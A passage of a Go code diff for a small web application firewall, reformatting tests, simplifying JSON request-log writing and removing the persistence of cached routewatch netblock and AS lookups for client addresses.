"alerts waiting %+v, %d held back, want only %+v and 1",
|
|
||||||
got,
|
|
||||||
queue.Suppressed(),
|
|
||||||
want,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -5,7 +5,6 @@
|
|||||||
package requestlog
|
package requestlog
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
|
||||||
"encoding/json"
|
"encoding/json"
|
||||||
"fmt"
|
"fmt"
|
||||||
"io"
|
"io"
|
||||||
@@ -253,20 +252,14 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
|
|||||||
return writeJSONLine(w, line)
|
return writeJSONLine(w, line)
|
||||||
}
|
}
|
||||||
|
|
||||||
// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
|
// writeJSONLine writes line to w as one JSON line.
|
||||||
// ">" as they are, so a query string reads as it was sent.
|
|
||||||
func writeJSONLine(w io.Writer, line any) error {
|
func writeJSONLine(w io.Writer, line any) error {
|
||||||
var encoded bytes.Buffer
|
encoded, err := json.Marshal(line)
|
||||||
|
|
||||||
encoder := json.NewEncoder(&encoded)
|
|
||||||
encoder.SetEscapeHTML(false)
|
|
||||||
|
|
||||||
err := encoder.Encode(line)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("encode the request log line: %w", err)
|
return fmt.Errorf("encode the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
_, err = w.Write(encoded.Bytes())
|
_, err = w.Write(append(encoded, '\n'))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("write the request log line: %w", err)
|
return fmt.Errorf("write the request log line: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -18,9 +18,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
err := requestlog.Write(&out, &requestlog.Line{
|
err := requestlog.Write(&out, &requestlog.Line{
|
||||||
Time: requestlog.FormatTime(
|
Time: requestlog.FormatTime(time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC)),
|
||||||
time.Date(2026, 10, 3, 12, 0, 0, 0, time.UTC),
|
|
||||||
),
|
|
||||||
ClientIP: "203.0.113.9",
|
ClientIP: "203.0.113.9",
|
||||||
Status: 200,
|
Status: 200,
|
||||||
Action: requestlog.ActionForward,
|
Action: requestlog.ActionForward,
|
||||||
@@ -69,50 +67,6 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRequestLinesHoldTheQueryAndRefererAsSent(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
var out bytes.Buffer
|
|
||||||
|
|
||||||
err := requestlog.Write(&out, &requestlog.Line{
|
|
||||||
Query: "a=1&b=<2>",
|
|
||||||
Referer: "https://example.com/?x=1&y=<2>",
|
|
||||||
})
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
err = requestlog.WriteRProxyLine(
|
|
||||||
&out,
|
|
||||||
&requestlog.RProxyLine{Query: "a=1&b=<2>"},
|
|
||||||
)
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("write the rproxy line: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
lines := strings.Split(strings.TrimSuffix(out.String(), "\n"), "\n")
|
|
||||||
if len(lines) != 2 {
|
|
||||||
t.Fatalf("wrote %q, want two lines", out.String())
|
|
||||||
}
|
|
||||||
|
|
||||||
for _, line := range lines {
|
|
||||||
if !json.Valid([]byte(line)) {
|
|
||||||
t.Errorf("%s is not valid JSON", line)
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(line, `"query":"a=1&b=<2>"`) {
|
|
||||||
t.Errorf("%s does not hold the query as sent", line)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if !strings.Contains(
|
|
||||||
lines[0],
|
|
||||||
`"referer":"https://example.com/?x=1&y=<2>"`,
|
|
||||||
) {
|
|
||||||
t.Errorf("%s does not hold the referer as sent", lines[0])
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
func TestWriteRProxyLineWritesOneJSONLineWithOnlyItsFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -140,8 +94,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).
|
requestlog.NewProcessLogger(&out, "fsn1app1/blog", slog.LevelInfo).Info("starting",
|
||||||
Info("starting",
|
|
||||||
"version", "v1")
|
"version", "v1")
|
||||||
|
|
||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
@@ -151,10 +104,8 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
t.Fatalf("decode %q: %v", out.String(), err)
|
t.Fatalf("decode %q: %v", out.String(), err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if fields["type"] != "process" ||
|
if fields["type"] != "process" || fields["instance"] != "fsn1app1/blog" ||
|
||||||
fields["instance"] != "fsn1app1/blog" ||
|
fields["msg"] != "starting" || fields["level"] != "INFO" ||
|
||||||
fields["msg"] != "starting" ||
|
|
||||||
fields["level"] != "INFO" ||
|
|
||||||
fields["version"] != "v1" {
|
fields["version"] != "v1" {
|
||||||
t.Errorf("process line %v", fields)
|
t.Errorf("process line %v", fields)
|
||||||
}
|
}
|
||||||
@@ -165,10 +116,7 @@ func TestProcessLinesAreMarkedProcessAndGiveTheInstance(t *testing.T) {
|
|||||||
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
if err != nil || !strings.HasSuffix(timeText, "Z") ||
|
||||||
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
len(timeText) != len("2006-01-02T15:04:05.000Z") ||
|
||||||
time.Since(logged) > time.Minute {
|
time.Since(logged) > time.Minute {
|
||||||
t.Errorf(
|
t.Errorf("process line time %q, want now in UTC with milliseconds", timeText)
|
||||||
"process line time %q, want now in UTC with milliseconds",
|
|
||||||
timeText,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -185,11 +133,7 @@ func TestProcessLoggerWritesTheMessagesAtItsLevelOrMoreSevere(t *testing.T) {
|
|||||||
|
|
||||||
var out bytes.Buffer
|
var out bytes.Buffer
|
||||||
|
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(&out, "fsn1app1/blog", level)
|
||||||
&out,
|
|
||||||
"fsn1app1/blog",
|
|
||||||
level,
|
|
||||||
)
|
|
||||||
for _, at := range levels {
|
for _, at := range levels {
|
||||||
processLog.Log(t.Context(), at, "message")
|
processLog.Log(t.Context(), at, "message")
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +1,6 @@
|
|||||||
// Package routewatch asks a routewatch instance about client addresses, in the
|
// Package routewatch asks a routewatch instance about client addresses, in the
|
||||||
// background, and keeps its answers. A routewatch instance knows, for an
|
// background, and keeps its answers in memory. A routewatch instance knows, for
|
||||||
// address, the netblock it is announced in and the AS that originates it. The
|
// an address, the netblock it is announced in and the AS that originates it.
|
||||||
// answers are kept in memory, for at most 100,000 clients and for an hour each,
|
|
||||||
// and are written to routewatch.json and read from it by the state package.
|
|
||||||
package routewatch
|
package routewatch
|
||||||
|
|
||||||
import (
|
import (
|
||||||
@@ -15,7 +13,6 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"slices"
|
|
||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -68,17 +65,6 @@ type Route struct {
|
|||||||
ASN uint32
|
ASN uint32
|
||||||
}
|
}
|
||||||
|
|
||||||
// Answer is what routewatch answered about a client, as routewatch.json holds
|
|
||||||
// it: the netblock the client's address is announced in, none for an address
|
|
||||||
// without a live route, the AS that originates it, and when routewatch
|
|
||||||
// answered.
|
|
||||||
type Answer struct {
|
|
||||||
Client netip.Prefix `json:"client"`
|
|
||||||
Netblock netip.Prefix `json:"netblock"`
|
|
||||||
ASN uint32 `json:"asn"`
|
|
||||||
Answered time.Time `json:"answered"`
|
|
||||||
}
|
|
||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
// URL is where routewatch is (SWW_ROUTEWATCH_URL).
|
||||||
@@ -98,16 +84,23 @@ type Client struct {
|
|||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
// answers are by client. Each is added as it comes and never moved up,
|
// answers are by client. Each is added as it comes and never moved up,
|
||||||
// so that the one that came longest ago is the first dropped.
|
// so that the one that came longest ago is the first dropped.
|
||||||
answers *simplelru.LRU[netip.Prefix, Answer]
|
answers *simplelru.LRU[netip.Prefix, answer]
|
||||||
// asking are the clients whose query is under way.
|
// asking are the clients whose query is under way.
|
||||||
asking map[netip.Prefix]bool
|
asking map[netip.Prefix]bool
|
||||||
// retryAt is when routewatch may be asked again after a query failed.
|
// retryAt is when routewatch may be asked again after a query failed.
|
||||||
retryAt time.Time
|
retryAt time.Time
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// answer is one kept answer: the route, or why there is none, and when it came.
|
||||||
|
type answer struct {
|
||||||
|
route Route
|
||||||
|
missing Missing
|
||||||
|
came time.Time
|
||||||
|
}
|
||||||
|
|
||||||
// New returns a Client with no answer yet.
|
// New returns a Client with no answer yet.
|
||||||
func New(params Params) *Client {
|
func New(params Params) *Client {
|
||||||
answers, err := simplelru.NewLRU[netip.Prefix, Answer](maxAnswers, nil)
|
answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
panic(err) // NewLRU fails only for a size below one
|
panic(err) // NewLRU fails only for a size below one
|
||||||
}
|
}
|
||||||
@@ -135,12 +128,8 @@ func (c *Client) Route(
|
|||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
kept, found := c.answers.Peek(client)
|
kept, found := c.answers.Peek(client)
|
||||||
if found && now.Sub(kept.Answered) < answerKept {
|
if found && now.Sub(kept.came) < answerKept {
|
||||||
if !kept.Netblock.IsValid() {
|
return kept.route, kept.missing
|
||||||
return Route{}, NoRoute
|
|
||||||
}
|
|
||||||
|
|
||||||
return Route{Netblock: kept.Netblock, ASN: kept.ASN}, ""
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if now.Before(c.retryAt) {
|
if now.Before(c.retryAt) {
|
||||||
@@ -156,62 +145,12 @@ func (c *Client) Route(
|
|||||||
return Route{}, NoAnswerYet
|
return Route{}, NoAnswerYet
|
||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every answer still in use, sorted by client, as
|
|
||||||
// routewatch.json lists them.
|
|
||||||
func (c *Client) Snapshot() []Answer {
|
|
||||||
c.mu.Lock()
|
|
||||||
|
|
||||||
now := c.params.Now()
|
|
||||||
answers := make([]Answer, 0, c.answers.Len())
|
|
||||||
|
|
||||||
for _, kept := range c.answers.Values() {
|
|
||||||
if now.Sub(kept.Answered) < answerKept {
|
|
||||||
answers = append(answers, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
c.mu.Unlock()
|
|
||||||
|
|
||||||
slices.SortFunc(answers, func(a, b Answer) int {
|
|
||||||
return a.Client.Compare(b.Client)
|
|
||||||
})
|
|
||||||
|
|
||||||
return answers
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load keeps answers, read from routewatch.json, in place of those it keeps,
|
|
||||||
// but for those that came answerKept ago or more and, past maxAnswers, those
|
|
||||||
// that came longest ago.
|
|
||||||
func (c *Client) Load(answers []Answer) {
|
|
||||||
answers = slices.Clone(answers)
|
|
||||||
slices.SortStableFunc(answers, func(a, b Answer) int {
|
|
||||||
return a.Answered.Compare(b.Answered)
|
|
||||||
})
|
|
||||||
|
|
||||||
c.mu.Lock()
|
|
||||||
defer c.mu.Unlock()
|
|
||||||
|
|
||||||
c.answers.Purge()
|
|
||||||
|
|
||||||
now := c.params.Now()
|
|
||||||
|
|
||||||
for _, kept := range answers {
|
|
||||||
if now.Sub(kept.Answered) < answerKept {
|
|
||||||
c.answers.Add(kept.Client, kept)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
// ask asks routewatch about addr, keeps the answer as client's, and notes the
|
||||||
// query as no longer under way. A query that fails gives no answer, and
|
// query as no longer under way. A query that fails gives no answer, and
|
||||||
// routewatch is not asked again for failureKept. Only the first failure of
|
// routewatch is not asked again for failureKept. Only the first failure of
|
||||||
// those under way is logged.
|
// those under way is logged.
|
||||||
func (c *Client) ask(
|
func (c *Client) ask(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
||||||
ctx context.Context,
|
route, missing, err := c.query(ctx, addr)
|
||||||
client netip.Prefix,
|
|
||||||
addr netip.Addr,
|
|
||||||
) {
|
|
||||||
route, err := c.query(ctx, addr)
|
|
||||||
now := c.params.Now()
|
now := c.params.Now()
|
||||||
|
|
||||||
c.mu.Lock()
|
c.mu.Lock()
|
||||||
@@ -221,9 +160,7 @@ func (c *Client) ask(
|
|||||||
firstFailure := err != nil && !now.Before(c.retryAt)
|
firstFailure := err != nil && !now.Before(c.retryAt)
|
||||||
|
|
||||||
if err == nil {
|
if err == nil {
|
||||||
c.answers.Add(client, Answer{
|
c.answers.Add(client, answer{route: route, missing: missing, came: now})
|
||||||
Client: client, Netblock: route.Netblock, ASN: route.ASN, Answered: now,
|
|
||||||
})
|
|
||||||
} else {
|
} else {
|
||||||
c.retryAt = now.Add(failureKept)
|
c.retryAt = now.Add(failureKept)
|
||||||
}
|
}
|
||||||
@@ -231,34 +168,25 @@ func (c *Client) ask(
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
if firstFailure {
|
if firstFailure {
|
||||||
c.params.ProcessLog.Warn(
|
c.params.ProcessLog.Warn("asking routewatch failed", "error", err.Error())
|
||||||
"asking routewatch failed",
|
|
||||||
"error",
|
|
||||||
err.Error(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
// query asks routewatch's IP info API about addr. An answer other than 200, one
|
||||||
// that cannot be read, and none within queryTimeout, fail. A result with no
|
// that cannot be read, and none within queryTimeout, fail. A result with no
|
||||||
// netblock is an address without a live route, and gives a Route without one.
|
// netblock is an address without a live route.
|
||||||
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, Missing, error) {
|
||||||
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
ctx, cancel := context.WithTimeout(ctx, queryTimeout)
|
||||||
defer cancel()
|
defer cancel()
|
||||||
|
|
||||||
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
endpoint, err := url.JoinPath(c.params.URL, "api/v1/ip", addr.String())
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("make the URL: %w", err)
|
return Route{}, "", fmt.Errorf("make the URL: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req, err := http.NewRequestWithContext(
|
req, err := http.NewRequestWithContext(ctx, http.MethodGet, endpoint, http.NoBody)
|
||||||
ctx,
|
|
||||||
http.MethodGet,
|
|
||||||
endpoint,
|
|
||||||
http.NoBody,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("make the request: %w", err)
|
return Route{}, "", fmt.Errorf("make the request: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
req.Header.Set("Accept", "application/json")
|
req.Header.Set("Accept", "application/json")
|
||||||
@@ -267,7 +195,7 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
// Do's error names the URL, which holds the client's address, which
|
// Do's error names the URL, which holds the client's address, which
|
||||||
// is not to be logged: only what went wrong is kept.
|
// is not to be logged: only what went wrong is kept.
|
||||||
return Route{}, fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
return Route{}, "", fmt.Errorf("ask routewatch: %w", errors.Unwrap(err))
|
||||||
}
|
}
|
||||||
|
|
||||||
defer func() {
|
defer func() {
|
||||||
@@ -275,14 +203,14 @@ func (c *Client) query(ctx context.Context, addr netip.Addr) (Route, error) {
|
|||||||
}()
|
}()
|
||||||
|
|
||||||
if res.StatusCode != http.StatusOK {
|
if res.StatusCode != http.StatusOK {
|
||||||
return Route{}, fmt.Errorf("%w %s", errStatus, res.Status)
|
return Route{}, "", fmt.Errorf("%w %s", errStatus, res.Status)
|
||||||
}
|
}
|
||||||
|
|
||||||
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
return readAnswer(io.LimitReader(res.Body, maxAnswerBytes))
|
||||||
}
|
}
|
||||||
|
|
||||||
// readAnswer reads routewatch's answer about one address.
|
// readAnswer reads routewatch's answer about one address.
|
||||||
func readAnswer(body io.Reader) (Route, error) {
|
func readAnswer(body io.Reader) (Route, Missing, error) {
|
||||||
var decoded struct {
|
var decoded struct {
|
||||||
Data struct {
|
Data struct {
|
||||||
Results []struct {
|
Results []struct {
|
||||||
@@ -294,22 +222,22 @@ func readAnswer(body io.Reader) (Route, error) {
|
|||||||
|
|
||||||
err := json.NewDecoder(body).Decode(&decoded)
|
err := json.NewDecoder(body).Decode(&decoded)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("read the answer: %w", err)
|
return Route{}, "", fmt.Errorf("read the answer: %w", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if len(decoded.Data.Results) == 0 {
|
if len(decoded.Data.Results) == 0 {
|
||||||
return Route{}, errNoResult
|
return Route{}, "", errNoResult
|
||||||
}
|
}
|
||||||
|
|
||||||
result := decoded.Data.Results[0]
|
result := decoded.Data.Results[0]
|
||||||
if result.Netblock == "" {
|
if result.Netblock == "" {
|
||||||
return Route{}, nil
|
return Route{}, NoRoute, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
netblock, err := netip.ParsePrefix(result.Netblock)
|
netblock, err := netip.ParsePrefix(result.Netblock)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return Route{}, fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
return Route{}, "", fmt.Errorf("%w: %q", errNotNetblock, result.Netblock)
|
||||||
}
|
}
|
||||||
|
|
||||||
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, nil
|
return Route{Netblock: netblock.Masked(), ASN: result.ASN}, "", nil
|
||||||
}
|
}
|
||||||
@@ -7,12 +7,10 @@ import (
|
|||||||
"net/http"
|
"net/http"
|
||||||
"net/http/httptest"
|
"net/http/httptest"
|
||||||
"net/netip"
|
"net/netip"
|
||||||
"slices"
|
|
||||||
"strings"
|
"strings"
|
||||||
"sync"
|
"sync"
|
||||||
"sync/atomic"
|
"sync/atomic"
|
||||||
"testing"
|
"testing"
|
||||||
"testing/synctest"
|
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
"sneak.berlin/go/smallwebwaf/internal/routewatch"
|
||||||
@@ -115,30 +113,6 @@ func answering(body string) http.HandlerFunc {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// silentURL is where a routewatch that never answers is: a query to it waits,
|
|
||||||
// without the network, until it is abandoned. TestMain registers it with Go's
|
|
||||||
// default transport, through which the Client asks.
|
|
||||||
const silentURL = "silent://routewatch/"
|
|
||||||
|
|
||||||
func TestMain(m *testing.M) {
|
|
||||||
transport, _ := http.DefaultTransport.(*http.Transport)
|
|
||||||
transport.RegisterProtocol("silent", silentRoutewatch{})
|
|
||||||
|
|
||||||
m.Run()
|
|
||||||
}
|
|
||||||
|
|
||||||
// silentRoutewatch is the routewatch at silentURL.
|
|
||||||
type silentRoutewatch struct{}
|
|
||||||
|
|
||||||
// RoundTrip waits until req is abandoned.
|
|
||||||
func (silentRoutewatch) RoundTrip(
|
|
||||||
req *http.Request,
|
|
||||||
) (*http.Response, error) {
|
|
||||||
<-req.Context().Done()
|
|
||||||
|
|
||||||
return nil, req.Context().Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
func (f *fixture) route() (routewatch.Route, routewatch.Missing) {
|
||||||
addr := netip.MustParseAddr(clientAddr)
|
addr := netip.MustParseAddr(clientAddr)
|
||||||
client := netip.PrefixFrom(addr, addr.BitLen())
|
client := netip.PrefixFrom(addr, addr.BitLen())
|
||||||
@@ -193,19 +167,12 @@ func TestRouteGivesRoutewatchsAnswerAndAsksByAddress(t *testing.T) {
|
|||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
|
|
||||||
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
if _, missing := f.route(); missing != routewatch.NoAnswerYet {
|
||||||
t.Errorf(
|
t.Errorf("before the answer: %q, want %q", missing, routewatch.NoAnswerYet)
|
||||||
"before the answer: %q, want %q",
|
|
||||||
missing,
|
|
||||||
routewatch.NoAnswerYet,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{
|
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
||||||
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
|
||||||
ASN: 64496,
|
|
||||||
}
|
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -228,10 +195,7 @@ func TestAnswerAfterASlowReverseDNSLookupIsKept(t *testing.T) {
|
|||||||
|
|
||||||
route := f.waitFor("")
|
route := f.waitFor("")
|
||||||
|
|
||||||
want := routewatch.Route{
|
want := routewatch.Route{Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496}
|
||||||
Netblock: netip.MustParsePrefix("192.0.2.0/24"),
|
|
||||||
ASN: 64496,
|
|
||||||
}
|
|
||||||
if route != want {
|
if route != want {
|
||||||
t.Errorf("route %+v, want %+v", route, want)
|
t.Errorf("route %+v, want %+v", route, want)
|
||||||
}
|
}
|
||||||
@@ -260,8 +224,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
"not JSON": answering("no"),
|
"not JSON": answering("no"),
|
||||||
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
"no results": answering(`{"status":"ok","data":{"results":[]}}`),
|
||||||
"bad netblock": answering(
|
"bad netblock": answering(
|
||||||
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`,
|
`{"status":"ok","data":{"results":[{"netblock":"nowhere","asn":1}]}}`),
|
||||||
),
|
|
||||||
}
|
}
|
||||||
for name, standIn := range tests {
|
for name, standIn := range tests {
|
||||||
t.Run(name, func(t *testing.T) {
|
t.Run(name, func(t *testing.T) {
|
||||||
@@ -276,9 +239,7 @@ func TestAnswerRoutewatchCannotBeTakenFromFails(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
|
func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
f := newFixture(t, answering(routedAnswer))
|
||||||
@@ -295,9 +256,7 @@ func TestUnreachableRoutewatchFailsTheQueryAndTheLogOmitsTheClient(
|
|||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
|
func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
f := newFixture(t, func(w http.ResponseWriter, _ *http.Request) {
|
||||||
@@ -318,10 +277,7 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
|
|||||||
deadline := time.Now().Add(waitLimit)
|
deadline := time.Now().Add(waitLimit)
|
||||||
for f.queries.Load() != 2 {
|
for f.queries.Load() != 2 {
|
||||||
if time.Now().After(deadline) {
|
if time.Now().After(deadline) {
|
||||||
t.Fatalf(
|
t.Fatalf("%d queries after the failure expired, want 2", f.queries.Load())
|
||||||
"%d queries after the failure expired, want 2",
|
|
||||||
f.queries.Load(),
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
time.Sleep(time.Millisecond)
|
time.Sleep(time.Millisecond)
|
||||||
@@ -331,34 +287,20 @@ func TestFailureIsKeptForAMinuteSoRoutewatchIsNotAskedPerRequest(
|
|||||||
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
func TestHangingRoutewatchNeverDelaysAndFailsTheQuery(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
// In a synctest bubble, time passes only while every goroutine in it waits,
|
f := newFixture(t, func(_ http.ResponseWriter, r *http.Request) {
|
||||||
// so Route's wait is measured exactly, however busy the host is. routewatch
|
<-r.Context().Done()
|
||||||
// is the one at silentURL: one reached over the network would keep the
|
|
||||||
// bubble's clock from moving.
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
|
||||||
// Without newFixture's stand-in, which is reached over the network.
|
|
||||||
f := &fixture{t: t, log: &syncBuffer{}}
|
|
||||||
f.client = routewatch.New(routewatch.Params{
|
|
||||||
URL: silentURL, Now: time.Now,
|
|
||||||
ProcessLog: slog.New(slog.NewTextHandler(f.log, nil)),
|
|
||||||
})
|
})
|
||||||
|
|
||||||
began := time.Now()
|
start := time.Now()
|
||||||
_, missing := f.route()
|
|
||||||
|
|
||||||
if waited := time.Since(began); missing != routewatch.NoAnswerYet ||
|
f.route()
|
||||||
waited != 0 {
|
|
||||||
t.Errorf(
|
if elapsed := time.Since(start); elapsed > time.Second {
|
||||||
"Route gave %q after %s while routewatch hangs, want %q at once",
|
t.Errorf("Route took %s while routewatch hangs", elapsed)
|
||||||
missing,
|
|
||||||
waited,
|
|
||||||
routewatch.NoAnswerYet,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
f.waitFor(routewatch.RequestFailed)
|
f.waitFor(routewatch.RequestFailed)
|
||||||
f.wantFailureLoggedWithoutTheClient()
|
f.wantFailureLoggedWithoutTheClient()
|
||||||
})
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
||||||
@@ -394,110 +336,3 @@ func TestRepeatedRequestsMakeOneQueryAndTheAnswerExpires(t *testing.T) {
|
|||||||
t.Errorf("%d queries after the answer expired, want 2", got)
|
t.Errorf("%d queries after the answer expired, want 2", got)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestSnapshotHoldsTheAnswerUntilItExpires(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
|
|
||||||
f.route()
|
|
||||||
f.waitFor("")
|
|
||||||
|
|
||||||
want := []routewatch.Answer{{
|
|
||||||
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
|
||||||
Netblock: netip.MustParsePrefix("192.0.2.0/24"), ASN: 64496,
|
|
||||||
Answered: f.clk.Now(),
|
|
||||||
}}
|
|
||||||
if got := f.client.Snapshot(); !slices.Equal(got, want) {
|
|
||||||
t.Errorf("snapshot %+v, want %+v", got, want)
|
|
||||||
}
|
|
||||||
|
|
||||||
f.clk.advance(time.Hour)
|
|
||||||
|
|
||||||
if got := f.client.Snapshot(); len(got) != 0 {
|
|
||||||
t.Errorf("snapshot %+v an hour after the answer, want none", got)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestLoadedAnswersAreUsedForAnHourFromWhenTheyCame(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
f := newFixture(t, answering(routedAnswer))
|
|
||||||
now := f.clk.Now()
|
|
||||||
kept := routewatch.Answer{
|
|
||||||
Client: netip.MustParsePrefix(clientAddr + "/32"),
|
|
||||||
Netblock: netip.MustParsePrefix("198.51.100.0/24"), ASN: 64497,
|
|
||||||
Answered: now.Add(-time.Hour + time.Second),
|
|
||||||
}
|
|
||||||
stale := routewatch.Answer{
|
|
||||||
Client: netip.MustParsePrefix("192.0.2.2/32"),
|
|
||||||
